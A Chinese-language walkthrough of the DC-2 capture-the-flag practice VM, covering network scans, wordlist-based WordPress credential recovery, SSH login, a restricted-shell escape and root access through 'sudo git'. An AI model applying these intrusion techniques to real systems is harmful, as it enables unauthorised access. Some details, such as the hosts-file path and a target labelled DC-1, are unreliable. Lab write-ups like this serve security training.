0x00 环境搭建
靶机下载地址:https://www.five86.com/dc-2.html
网络配置:我这里都使用桥接模式,为的是方便用物理机的一些工具对靶机进行渗透,kali虚拟机同样也可以进行渗透。
kali:192.168.1.104
物理机:192.168.1.103
DC-1:192.168.1.108
在测试之前需要修改一下host文件的配置,添加渗透靶机的IP地址和域名(访问渗透靶机时80端口时,他会自动跳转成dc-2 不修改会无法访问。)
host文件位置
kail环境:/etc/host.conf
windows环境:C:\Windows\System32\drivers\etc
修改后如上图。
0x01 渗透过程
一、扫描
使用netdiscover命令搜索局域网下的主机:
netdiscover -r 192.168.1.0/24
发现dc-2的ip地址为192.168.1.108
接下来使用nmap对靶机扫描:
nmap 192.168.1.108 -A
发现只有80端口开放的。而nmap默认情况下是不扫描所有的端口的,所以在这里尝试扫描所有的端口,使用以下命令:
nmap 192.168.1.108 -A -p1-65535
结果如上图,有新的发现,开放了80端口和7744端口。
二、获取flag
1.获取flag1
访问http://192.168.1.108/
在flag页面下即可看到flag1:
2.获取flag2
根据flag1提示,这里需要使用到一个工具——cewl
这里贴上一份cewl工具使用指南https://www.freebuf.com/articles/network/190128.html
结果如上图,获得了两组用户名/密码:
jerry/adipiscing tom/parturient
使用其中一组登陆后台:http://dc-2/wp-login.php/
在后台就界面找到flag2:
3.获取flag3
根据flag2的提示,使用上面的两组用户名/密码,通过7744端口使用ssh登陆:
ssh -p 7744 tom@192.168.1.108
使用tom/parturient成功登陆。
使用ls命令查看当前路径下的文件发现存在flag3.txt:
使用cat/more命令都无法查看文件,使用less成功查看文件:
flag3.txt内容如下:
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
4.获取flag4
发现该为受限的shell,于是绕过受限shell:
BASH_CMDS[a]=/bin/sh;a $ /bin/bash export PATH=$PATH:/bin/
如上图,已经可以使用cat命令了。
使用上面的jerry的用户名和密码转换成jerry用户:
回到jerry目录下,找到flag4内容:
5.获取flag5
根据flag4提示,提示git,于是使用sudo -l查看发现git是root不用密码可以运行的:
于是使用git提权:
sudo git -p help
然后输入!/bin/bash,即可提权,回到root目录下可找到flag5: